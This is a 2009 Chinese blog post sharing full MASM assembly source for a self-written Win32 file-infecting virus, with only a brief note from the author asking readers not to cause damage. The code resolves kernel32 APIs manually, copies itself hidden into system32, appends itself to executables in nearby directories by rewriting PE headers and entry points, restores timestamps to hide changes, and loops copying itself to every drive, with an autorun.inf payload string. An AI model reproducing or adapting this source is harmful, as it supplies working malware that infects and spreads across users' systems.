感染文件病毒---很老的技术了

最近又要考试了,,哎,,无赖哦啊,,

 

花三个小时写了个病毒,编译运行没有问题,不要搞破坏。

 

.586
.model flat,stdcall
option casemap:none

.data
hello db "真刺激,呼呼<www.hi.baidu.com/charme000>",0
GMK   db "感染成功",0
where_to_go dd 0
vir_size dd 0
.code
vir_start:
 pushad
 pushfd
 
  call delta
delta: pop ebp
 sub ebp,offset delta ;现在ebp指向delta标号 

 mov eax,DWORD ptr [ebp + offset return_to_host + 3h];return_to_host应该是返回一个后host ip
 mov DWORD ptr [ebp + offset where_to_go],eax ; where——to——go这个标号处的程序应该接受一个host ip作为参数

 mov eax,offset vir_end
 sub eax,offset vir_start
 mov DWORD ptr [ebp + offset vir_size],eax  ;这个就是活的病毒的大小
 
 mov esi,DWORD ptr [esp + 24h] ; pushad pushfd的大小 -> esi 指向返回点
 
 call get_kernel_image_base
  
 call find_main_apis
 
 call find_extra_apis

 ;找到必要的东西后开始感染
 call infect 
 
 mov eax,offset GMK
 add eax,ebp
 push 0
 push eax
 push eax
 push 0
 call [ebp + AMessageBoxA]
 
  
jmp exit_  

;----------------------------------------------------------------------------------------------------------------------
infect:
jmp infect_ ; 这样写只是为了下面写一些必要的定义

exe_str db 0,0,0,0,0,0 ; 文件名,,是一个空的数组,,以后会动态的填充
search_handle dd 0

MAX_PATH equ 260 ;从 windows.inc 中查到的

FILETIME struct ;也是windows.inc中这样定义的
  dwLowDateTime     DWORD     0
  dwHighDateTime    DWORD     0
FILETIME ends

WIN32_FIND_DATA struct  ;windows.inc
  dwFileAttributes      DWORD      0
  ftCreationTime        FILETIME <>
  ftLastAccessTime      FILETIME <>
  ftLastWriteTime       FILETIME <>
  nFileSizeHigh         DWORD      0
  nFileSizeLow          DWORD      0
  dwReserved0           DWORD      0
  dwReserved1           DWORD      0
  cFileName             BYTE MAX_PATH dup(0) ;offset 44d 重要
  cAlternate            BYTE 14 dup(0)
WIN32_FIND_DATA ends   

find_data WIN32_FIND_DATA <>;定义这样的一个结构 

current_directory BYTE MAX_PATH dup(0)
system_directory BYTE MAX_PATH dup(0)
module_name BYTE 100d dup(0)
system_directory_len dd 0
directory_count dd 0
upper_directory db "..",0
file_name_len dd 0
infect_:

 
 ;填充文件名
 mov WORD ptr [ebp + offset exe_str],'.*'
 mov WORD ptr [ebp + offset exe_str + 2],'xe'
 mov BYTE ptr [ebp + offset exe_str + 4],'e'
 
 ;为CurrentDirectory弄出一个足够的大的缓冲区,都填充为0
 mov eax,offset current_directory
 add eax,ebp
 mov ecx,MAX_PATH
 add ecx,MAX_PATH
 add ecx,100d
 .while ecx > 0
 mov BYTE ptr [eax],0
 dec ecx
 inc eax
 .endw
;----------获取系统目录
 push MAX_PATH
 mov eax,offset system_directory
 add eax,ebp
 push eax
 call [ebp + offset AGetSystemDirectoryA] ;调用这个函数返回的是系统目录需要的空间大小
 mov DWORD ptr [ebp + offset system_directory_len],eax  ;把这个大小保存了


;------------获取当前目录
 mov eax,offset current_directory
 add eax,ebp
 push eax
 push MAX_PATH
 call [ebp + offset AGetCurrentDirectoryA]
;-------------获得自身模块句柄
 
 push 0
 call [ebp + offset AGetModuleHandleA]
 mov ebx,eax  ;句柄存放在ebx中
  
 push 100d
 mov eax,offset module_name
 add eax,ebp
 push eax
 push ebx
 call [ebp + offset AGetModuleFileNameA]
 mov ebx,eax ;ebx里存放module_name的字节数
 
 ;-----------获得上述的一些路径是为了把我们的程序拷贝到system32里面

 ;-----创建一个新的文件名
 ;system32目录 + 我们的文件名!
 mov eax,offset module_name
 add eax,ebp ; now eax 指向文件名起始
 add eax,ebx ; now eax 指向文件名结束的地方
 xor ebx,ebx
 @@:
 dec eax
 inc ebx
 cmp BYTE ptr[eax],'\'
 je exit_slash_loop  ;倒了\的时候就停下来处理,否则是循环搜索,这里用rep也可以实现的,,这样也是可以的,呼呼
 loop @B
 exit_slash_loop:
 mov DWORD ptr [ebp + offset file_name_len],ebx
 mov ebx,offset system_directory
 add ebx,ebp
 add ebx,DWORD ptr [ebp + offset system_directory_len] ; ebx 指向 system_directory 的结束处
 push esi;
 push edi;
 mov ecx,DWORD ptr [ebp + offset file_name_len]
 mov esi,eax
 mov edi,ebx
 rep movsb ;这样以后,system_directory 里现在就是新的文件的路径
 pop edi;
 pop esi;
 
 push 0
 mov eax,offset system_directory
 add eax,ebp
 push eax
 mov eax,offset module_name ;文件名+ 路径
 add eax,ebp
 push eax
 call [ebp + offset ACopyFileA] ;现在就把文件拷贝到了system32里面了
 
 ;/////////////////////////////// 
 mov eax,01h
 or eax,02h
 or eax,04h ;设置为只读
 push eax
 mov eax,offset system_directory
 add eax,ebp
 push eax
 call [ebp + offset ASetFileAttributesA]  ;设置文件的属性,,只读隐藏
;--------------------------------------------
 xor ebx,ebx
 directory_loop:
  
 
 mov eax,offset find_data
 add eax,ebp
 push eax
 mov eax,offset exe_str
 add eax,ebp
 push eax
 call [ebp + offset AFindFirstFileA]  ;找文件
 mov DWORD ptr [ebp + offset search_handle],eax  ;eax里是返回的句柄
 cmp eax,-1 ; INVALID_HANDLE_VALUE
 je exit_infection
 
 ;so we have a file_name in find_data
 call infect_file
 
 find_another:
  mov eax,offset find_data
  add eax,ebp
  push eax
  push DWORD ptr [ebp + offset search_handle]
  call [ebp + offset AFindNextFileA]
  cmp eax,0h
  je exit_infection
  
 call infect_file  ;找到就感染嘛
 
 jmp find_another   ;感染完就再循环再找文件
 
 exit_infection:
 
 mov ebx,DWORD ptr [ebp + offset directory_count]
 cmp ebx,03d
 ja exit_all
 
 mov eax,offset upper_directory  ;上层目录   ‘..’
 add eax,ebp
 push eax
 call [ebp + offset ASetCurrentDirectoryA]
 mov ebx,DWORD ptr [ebp + offset directory_count]
 inc ebx
 mov DWORD ptr [ebp + offset directory_count],ebx
 jmp directory_loop  ;确保所有的都被感染到
 
 exit_all:
 xor ebx,ebx
 mov DWORD ptr [ebp + offset directory_count],ebx
 ret
;----------------------------------------------------------------------------------------------------------------------
infect_file: ;核心
jmp infect_file_ ;知识方便下面的定义

ex_file_attributes   dd 0
ex_file_creation_time  FILETIME <>
ex_file_last_access_time  FILETIME <>
ex_file_last_write_time  FILETIME <>
file_handle     dd 0
file_mapping   dd 0
map_of_file   dd 0
file_size    dd 0
size_of_memory   dd 0
old_ip    dd 0
image_base   dd 0
file_align   dd 0
raw_data_size   dd 0
code_section    dd 0
last_section   dd 0


infect_file_:
 ;获取文件属性
 mov eax,offset find_data
 add eax,ebp
 add eax,44d  ;实际上时Cfilename
 push eax
 call [ebp + offset AGetFileAttributesA]
 mov DWORD ptr [ebp + offset ex_file_attributes],eax
 cmp eax,0FFFFFFFFh  ;这是最极端的属性组合
 je exit_infecting_a_file
 ;继续感染
 
 ;擦除属性
 push 80h  ;FILE_ATTRIBUTE_NORMAL
 mov eax,offset find_data
 add eax,ebp
 add eax,44d
 push eax
 call [ebp + offset ASetFileAttributesA]
 cmp eax,0h
 je exit_infecting_a_file
 
 ;打开它。。OPEN_EXCITING
 push 0                                
   push 0                                
   push 3                                
   push 0                                
   push 1                                
   push 80000000h or 40000000h           
 mov eax,offset find_data
 add eax,ebp
 add eax,44d
 push eax                                   
   call [ebp+offset ACreateFileA]
 mov DWORD ptr [ebp + offset file_handle],eax
 cmp eax,-1  ;无效句柄
 je exit_infecting_a_file
 
 ;获得一些时间参数
 mov eax,offset ex_file_last_write_time
 add eax,ebp
 push eax
 mov eax,offset ex_file_last_access_time
 add eax,ebp
 push eax
 mov eax,offset ex_file_creation_time
 add eax,ebp
 push eax
 mov eax,offset file_handle
 add eax,ebp
 push eax
 call [ebp + offset AGetFileTime]
 
 ;映射下文件 这次映射只是为了获取文件偏移
 push 0                                
       push 0
       push 0                                
       push 4                                
       push 0                                
       push DWORD ptr [ebp + offset file_handle]
       call [ebp + offset ACreateFileMappingA]
 mov DWORD ptr [ebp + offset file_mapping], eax
       cmp eax, 0                            
       je exit_infecting_a_file                 
  
 ;g获取文件大小
 push 0                               
       push DWORD ptr [ebp + offset file_handle]
       call [ebp + offset AGetFileSize]          
       mov DWORD ptr [ebp + offset file_size],eax
       cmp eax,0
       je exit_infecting_a_file
       
        ;映射文件到内存 
 push 0
      push 0                                
       push 0                                
       push 2                                
       push DWORD ptr [ebp + offset file_mapping]                              
       call [ebp + offset AMapViewOfFile] 
       mov DWORD ptr [ebp + offset map_of_file],eax
       cmp eax,0
       je exit_infecting_a_file
       mov esi,DWORD ptr [ebp + offset map_of_file]
       
        ;获取文件偏移
        mov eax,esi
        add eax,03ch  ;看PE结构就明白了
 add esi,DWORD ptr [eax]
 mov eax,DWORD ptr [eax] ; 文件偏移
 mov ebx,DWORD ptr [ebp + offset file_size]
 add ebx,DWORD ptr [ebp + offset vir_size]
 add ebx,1000h ;多弄出点空间来
 
 ;对齐下
 mov esi,0
 xor edx,edx
 @@: add edx,eax ; add file alignment
  cmp edx,ebx ; 小雨总的大小
  jb @B
 ;现在就用获取的这个大小值来映射把 
 mov DWORD ptr [ebp + offset size_of_memory],edx
 
 push DWORD ptr [ebp + offset map_of_file]
 call [ebp + offset AUnmapViewOfFile]
 
 push DWORD ptr [ebp + offset file_mapping]
 call [ebp + offset ACloseHandle]
 
 
 ;再映射一次
 push 0                                
       push DWORD ptr [ebp + offset size_of_memory] ;文件大小 +  病毒大小 + 1000h + 空闲字节
       push 0                                
       push 4                                
       push 0                                
       push DWORD ptr [ebp + offset file_handle]
       call [ebp + offset ACreateFileMappingA]
 mov DWORD ptr [ebp + offset file_mapping], eax
       cmp eax, 0                            
       je exit_infecting_a_file                 
  
  
 push DWORD ptr [ebp + offset size_of_memory]    
      push 0                                
       push 0                                
       push 2                                
       push DWORD ptr [ebp + offset file_mapping]                              
       call [ebp + offset AMapViewOfFile] 
       mov DWORD ptr [ebp + offset map_of_file],eax
       cmp eax,0
       je exit_infecting_a_file
       mov esi,DWORD ptr [ebp + offset map_of_file]

 mov ax,'ZM'
 cmp WORD ptr [esi],ax ;检测合法性
 jne exit_infecting_a_file
 
 mov eax,esi
 add eax,30h
 add eax,8h
 cmp WORD ptr [eax],'90' ;38h处事隔无关紧要的区域,所以放个90来做标记
 jne continue
 jmp exit_infecting_a_file
 continue:
 mov WORD ptr [eax],'90' ; 标记,,表示感染了已经
 
 add esi,DWORD ptr [esi + 3Ch] ;esi = PE header
 mov ax,'EP'
 cmp WORD ptr [esi],ax ;检测PE有效性
 jne exit_infecting_a_file
 
 mov eax, DWORD ptr [esi + 40d] ; 获取旧的入口点
 mov DWORD ptr [ebp + offset old_ip],eax
 mov ebx, DWORD ptr [esi + 52d]; image base
 mov DWORD ptr [ebp + offset image_base],ebx
 add eax,ebx ; VA
 mov DWORD ptr [ebp + offset return_to_host + 3h],eax ;相当于是一个回调函数,就是说我们要跳转到哪里
         
  
 mov eax,DWORD ptr [esi + 3ch] ;对齐
 mov DWORD ptr [ebp + offset file_align],eax
  
 movzx eax,WORD ptr [esi + 6h] ;节的数目
 dec eax ;找到最后一个节
 mov edx,20h 
 add edx,8h  ;上面这个28h不是一定的,不是所有的机器上面都是加这个数值,有时候得手工测试,呼呼,比较麻烦哈
 mul edx ; 结果存放在eax,,,eax = 最后一个节相对于节表的偏移
 
  
 movzx ebx,WORD ptr [esi + 20d] ;可选头的大小
 ;Pe header offset + 22 (IMAGE_FILE_HEADER) + size of optional header + (num of sections-- ) * 28h(size of a section header) =
 ;=last sections beginning   就是找到最后一个节
 push esi ;后面要用到esi
 
 
 mov ecx,esi
 add ecx,20d
 add ecx,4d
 add ecx,ebx
 add ecx,eax
 mov esi,ecx ;这样就把指针移动到了最后一个节的偏移处,,greate
 mov DWORD ptr [ebp + offset last_section],esi
 mov ebx,esi
 sub ebx,eax ; offset of the first sections begining in the section table
 mov DWORD ptr [ebp + offset code_section],ebx
 
 mov eax,esi
 add eax,20h
 add eax,4h ;这里就指倒了设置属性的成员那里
 or DWORD ptr [eax],0A0000020h ;r w e 权限
 
 
 mov ebx,DWORD ptr [esi + 10h] ; SizeOfRawData
 mov DWORD ptr [ebp + offset raw_data_size],ebx
 mov eax,DWORD ptr [esi + 14h] ;PointerToRawData  of section (文件偏移)
 add eax,ebx ; 最后一个节末尾的文件偏移
 add eax,DWORD ptr [ebp + offset map_of_file] ;我们写的代码存放的内存偏移
       
 mov edi,eax ;以后拷贝用
 
 
        mov eax,DWORD ptr [ebp + offset file_align]
        mov ebx,DWORD ptr [ebp + offset raw_data_size]
 add ebx,DWORD ptr [ebp + offset vir_size]  ; EBX = 最后一个节的Size of raw data + VirusSize 
 xor edx,edx
  @@:
  add edx,eax
  cmp edx,ebx
  jbe @B
  mov eax,esi
  add eax,10h
  mov DWORD ptr [eax],edx ; 新的相对于文件偏移的raw data的大小
  sub eax,08h
         mov DWORD ptr [eax],edx ;新Virtual size
 add eax,08h
 mov     eax,DWORD ptr [eax]                   ; EAX = 新SizeOfRawData
 mov ecx,esi
 add ecx,0Ch
        add     eax,DWORD ptr [ecx]                   ; EAX = 新SizeOfRawData+VirtualAddress   ;以上就实现了重新定位
 
 
 ;-------把eip指到我们病毒的eip------------------------------ ecx =病毒的 RVA!!!
 mov ecx,DWORD ptr [esi + 12d] ; 最后一个节的RVA
 add ecx,DWORD ptr [ebp + offset raw_data_size] ;变成我们病毒的RVA :)
 pop esi
 mov eax,esi
 add eax,20h
 add eax,8h
 mov DWORD ptr [eax] , ecx ;改变指针
 
 
 
 
 ;--------------------------------------------------------------------------------
 mov ecx,DWORD ptr [ebp + offset raw_data_size]
 sub edx,ecx
 mov ebx,DWORD ptr [esi + 56d] ; section alignment
 mov eax,DWORD ptr [esi+50h]   ;size of image
 add eax,edx ; sizeofimage + aligned size
 xor ecx,ecx
 @@:
  add ecx,ebx
  cmp ecx,eax
  jb @B
  mov DWORD ptr [esi+50h],ecx ; new size of image
 
 mov esi,offset vir_start
 add esi,ebp
 mov ecx,DWORD ptr [ebp + offset vir_size]
 rep movsb
  
 push 0
 mov eax,offset hello
 add eax,ebp
 push eax
 push eax
 push 0
 call [ebp + offset AMessageBoxA]
 
exit_infecting_a_file:
 ;更新时间
 mov eax,offset ex_file_last_write_time
 add eax,ebp
 push eax
 mov eax,offset ex_file_last_access_time
 add eax,ebp
 push eax
 mov eax,offset ex_file_creation_time
 add eax,ebp
 push eax
 mov eax,offset file_handle
 add eax,ebp
 push eax
 call [ebp + offset ASetFileTime]
 
 ;更新属性
 mov eax,DWORD ptr [ebp + offset ex_file_attributes]
 push eax
 mov eax,offset find_data
 add eax,ebp
 add eax,44d
 push eax
 call [ebp + offset ASetFileAttributesA]
 cmp eax,0h
 je bye_
 
 ;关闭文件,释放映射
 cmp DWORD ptr [ebp + offset file_handle],-1
 je bye_ 
 push DWORD ptr [ebp + offset file_handle]
 call [ebp + offset ACloseHandle]
 
 cmp DWORD ptr [ebp + offset map_of_file],0h
 je bye_
 push DWORD ptr [ebp + offset map_of_file]
 call [ebp + offset AUnmapViewOfFile]

bye_:
ret
;----------------------------------------------------------------------------------------------------------------------
find_extra_apis:
jmp load_

user32 db "user32.dll",0
SMessageBoxA  db "MessageBoxA",0
AMessageBoxA  dd 0

load_:
 mov eax,offset user32
 add eax,ebp
 push eax
 call [ebp + offset AGetModuleHandleA]
 cmp eax,0h
 jne load_message_box ;如果这里没有加载user32的话我们就的手工加载,所以下面就要有一个独立处理加载的子程序
 
 mov eax,offset user32
 add eax,ebp
 push eax
 call [ebp + offset ALoadLibraryA]
 cmp eax,0
 je exit_
 
 
 load_message_box:
 mov ebx,offset SMessageBoxA
 add ebx,ebp
 push ebx
 push eax ; user32.dll
 call [ebp + offset AGetProcAddress]
 cmp eax,0h
 je exit_
 
 mov DWORD ptr [ebp + offset AMessageBoxA],eax
  
 ret
;----------------------------------------------------------------------------------------------------------------------
get_kernel_image_base:  ;esi指向内核地址空间
   ;返回kernel_base_address放在eax中
mov ecx,esi ; kernel address
jmp start_getting

k32 dd 0


start_getting:
cmp DWORD ptr [esi],'NREK'

je found_kernel_str
dec esi
loop start_getting
mov eax,0
ret

 found_kernel_str:
 cmp WORD ptr [esi],'ZM'
  je return_
  dec esi
 loop found_kernel_str 
 mov eax,0
 ret

  return_:     
  mov DWORD ptr [ebp + offset k32],esi
  cmp esi,0
  je exit_
  
  ret
;----------------------------------------------------------------------------------------------------------------------
find_main_apis:   ;esi = imagebase of Kernel32
 
jmp get_kernel_pe_header
k32_export_table dd 0 ;VA
k32_name_table  dd 0 ;VA
k32_name_counter dd 0

next_api_string    dd 0
current_api_string  dd 0
str_size     dd 0
api_address_counter    dd 0


api_strings:
SExitProcess  db   "ExitProcess",0

SGetProcAddress  db   "GetProcAddress",0
SGetModuleHandleA db   "GetModuleHandleA",0
SGetModuleFileNameA db   "GetModuleFileNameA",0
SLoadLibraryA  db   "LoadLibraryA",0

SGetWindowsDirectoryA db   "GetWindowsDirectoryA",0
SGetSystemDirectoryA db   "GetSystemDirectoryA",0
SGetCurrentDirectoryA db   "GetCurrentDirectoryA",0
SSetCurrentDirectoryA db   "SetCurrentDirectoryA",0

SCreateFileA   db   "CreateFileA",0
SCopyFileA   db   "CopyFileA",0
SCloseHandle  db   "CloseHandle",0
SCreateFileMappingA db   "CreateFileMappingA",0
SMapViewOfFile  db   "MapViewOfFile",0
SUnmapViewOfFile db   "UnmapViewOfFile",0
SFindFirstFileA  db   "FindFirstFileA",0
SFindNextFileA  db   "FindNextFileA",0

SSetFileAttributesA db   "SetFileAttributesA",0
SGetFileAttributesA db   "GetFileAttributesA",0
SGetFileTime  db   "GetFileTime",0
SSetFileTime  db   "SetFileTime",0
SGetFileSize  db   "GetFileSize",0

SSleep   db   "Sleep",0

SCreateMutexA db  "CreateMutexA",0
SOpenMutexA  db  "OpenMutexA",0

SGetLogicalDriveStringsA db "GetLogicalDriveStringsA",0
SGetLogicalDrives db "GetLogicalDrives",0
SGetDriveTypeA   db "GetDriveTypeA",0


dd 00000090h ;这个可不仅仅是定义一个nop啊,呼呼

api_addresses:
AExitProcess   dd 0 

AGetProcAddress  dd 0
AGetModuleHandleA dd 0
AGetModuleFileNameA dd 0
ALoadLibraryA  dd 0

AGetWindowsDirectoryA dd 0
AGetSystemDirectoryA dd 0
AGetCurrentDirectoryA dd 0
ASetCurrentDirectoryA dd 0

ACreateFileA  dd 0
ACopyFileA   dd 0
ACloseHandle  dd 0
ACreateFileMappingA dd 0
AMapViewOfFile  dd 0
AUnmapViewOfFile dd 0
AFindFirstFileA  dd 0
AFindNextFileA  dd 0

ASetFileAttributesA dd 0
AGetFileAttributesA dd 0
AGetFileTime  dd 0
ASetFileTime  dd 0
AGetFileSize  dd 0

ASleep   dd 0

ACreateMutexA dd 0
AOpenMutexA dd 0

AGetLogicalDriveStringsA dd 0
AGetLogicalDrives dd 0
AGetDriveTypeA  dd 0


 get_kernel_pe_header:
 mov esi,DWORD ptr [ebp + offset k32] ;把kernel32的基址放在esi中
 add esi,DWORD ptr [esi + 3Ch] ; PE header
 
 mov esi,DWORD ptr [esi + 78h] ; export table RVA   128-B0=78
 add esi,DWORD ptr [ebp + offset k32] ;VA
 mov DWORD ptr [ebp + offset k32_export_table],esi  ;加上基址后变成了实际的文件偏移
 
 add esi,32d ;API名称的rva
 mov esi,DWORD ptr [esi]
 add esi, DWORD ptr [ebp + offset k32]
 mov DWORD ptr [ebp + offset k32_name_table],esi
 
 ;开始next_api_string
 mov DWORD ptr [ebp + offset next_api_string],offset api_strings
 add DWORD ptr [ebp + offset next_api_string],ebp
 
 
 api_loop:
 mov esi,DWORD ptr [ebp + offset next_api_string]
   cmp DWORD ptr [esi],00000090h   ;看看是不是nop
   je all_found
 ;从api_strings label里面获得一个string
 mov DWORD ptr [ebp + offset k32_name_counter],0h ;reset name counter
 mov esi,DWORD ptr [ebp + offset next_api_string]
 xor ecx,ecx
 mov DWORD ptr [ebp + offset current_api_string],esi
 @@: cmp BYTE ptr [esi],0h
   je @F
   inc ecx
   inc esi
   jmp @B
  @@: 
   mov DWORD ptr [ebp + offset str_size],ecx
   inc esi
   mov DWORD ptr [ebp + offset next_api_string],esi ; 下一个字符串
  
 get_name_from_k32:
 ;获得一个名称
 mov eax,DWORD ptr [ebp + offset k32_name_counter]
 mov ebx,4h
 mul ebx
 add eax,DWORD ptr [ebp + offset k32_name_table]
 mov eax,DWORD ptr [eax]
 add eax,DWORD ptr [ebp + offset k32] ; 这个时候我们就获得了一个api,存放在eax里面
 add DWORD ptr [ebp + offset k32_name_counter],1h ;  自加1
 
 compare_two_names:
  mov ecx,DWORD ptr [ebp + offset str_size]
  mov edi,eax
  mov esi,DWORD ptr [ebp + offset current_api_string]
  @@:cmpsb
   jne @F
   loop @B
   
   jmp calc_ordinal
  @@:
  jmp get_name_from_k32
  
 calc_ordinal:
  sub DWORD ptr [ebp + offset k32_name_counter],1h ; 当钱名称的缩影位置
  mov ebx,2
  mov eax,DWORD ptr [ebp + offset k32_name_counter]
  mul ebx
  
  mov esi,DWORD ptr [ebp + offset k32_export_table]
  add esi,36d
  mov esi,DWORD ptr [esi]
  add esi,DWORD ptr [ebp + offset k32] ;索引表
  add esi,eax ;我们找到的API的索引指针
  
  movzx eax,WORD ptr [esi] ; 我们API的索引值
  
  mov esi,DWORD ptr [ebp + offset k32_export_table]
  add esi,28d
  mov esi,DWORD ptr [esi]
  add esi,DWORD ptr [ebp + offset k32] ; 通过索引找到的地址表
  
  mov ebx,4h
  mul ebx
  add esi,eax
  mov esi,DWORD ptr [esi]
  add esi,DWORD ptr [ebp + offset k32]
    
  
  mov eax,DWORD ptr [ebp + offset api_address_counter]  
  mov DWORD ptr [ebp + offset api_addresses + eax],esi
  add DWORD ptr [ebp + offset api_address_counter],4h
   
   
   jmp api_loop
   
 all_found:
 mov DWORD ptr [ebp + offset api_address_counter],0 ;这里一定要reset下,,
 
 ret
 

 


exit_:
jmp exit__

 
 mutex_name db "AnthraxA",0
 drive_list BYTE 50d dup(0)
 drive_list_counter dd 0
 a_drv db "A:",0
 b_drv db "B:",0
 c_drv db "C:",0
 d_drv db "D:",0
 e_drv db "E:",0
 f_drv db "F:",0
 g_drv db "G:",0
 h_drv db "H:",0
 i_drv db "I:",0
 j_drv db "J:",0
 our_name BYTE 150d dup(0)
 new_file db 0,0,0,"charme",0
 
 auto_run db "[autorun]",13,10,"shellexecute=charme.exe",0
 auto_fname db "autorun.inf",0
  
 exit__:
 ;打开mutex,如果没有这个名字的互斥体就在DriverString里面搜索
  mov eax,offset mutex_name
  add eax,ebp
  push eax
  push 1
  push 1F0001h
  call [ebp + offset AOpenMutexA]
  cmp eax,0
  jne break_infite
  ;创建互斥
  mov eax,offset mutex_name
  add eax,ebp
  push eax
  push 1
  push 0
  call [ebp + offset ACreateMutexA]
  ;--------------
  
    
 infinite_loop:
  mov eax,offset drive_list
  add eax,ebp
  push eax
  push 50d
  call [ebp + offset AGetLogicalDriveStringsA]
  
  xor ecx,ecx
  
  .while ecx < 50d
  mov ecx,DWORD ptr [ebp + offset drive_list_counter]
  mov ebx,offset drive_list
  add ebx,ebp
  add ebx,ecx
  push ebx
  call [ebp + offset AGetDriveTypeA]
  ;drive type
  cmp eax,0
  je go_on__ ;复制自身
  mov ecx,DWORD ptr [ebp + offset drive_list_counter]
  mov ebx,offset drive_list
  add ebx,ebp
  add ebx,ecx
  mov ecx,3d
  mov esi,ebx
  mov edi,offset new_file
  add edi,ebp
  rep movsb  ;到此就获得了一个新的文件名
  
 push 0
 mov eax,offset new_file
 add eax,ebp
 push eax
 mov eax,offset system_directory ; file name + path
 add eax,ebp
 push eax
 call [ebp + offset ACopyFileA]
  
  go_on__: ;当driver找不到的时候
  mov ecx,DWORD ptr [ebp + offset drive_list_counter]
  add ecx,4d
  mov DWORD ptr [ebp + offset drive_list_counter],ecx
  .endw
  mov DWORD ptr [ebp + offset drive_list_counter],0h
  
  
  
  
  
 jmp infinite_loop
 ;-------------------------------------------------------------------------------------------------------------

 break_infite:
  mov eax,DWORD ptr [ebp + offset where_to_go]
  mov DWORD ptr [ebp + offset return_to_host + 3h],eax ; popad + popfd + 68h  = 3 BYTEs
    
  cmp ebp,0h
  jne return_to_host
   
   push 0
   call [ebp + offset AExitProcess]
 
return_to_host:

 popfd
 popad
 db 68h,0,0,0,0
 ret

vir_end:
end vir_start

 

posted on 2009-05-27 11:15 彭洲 阅读(291) 评论(1) 编辑 收藏

导航

统计

公告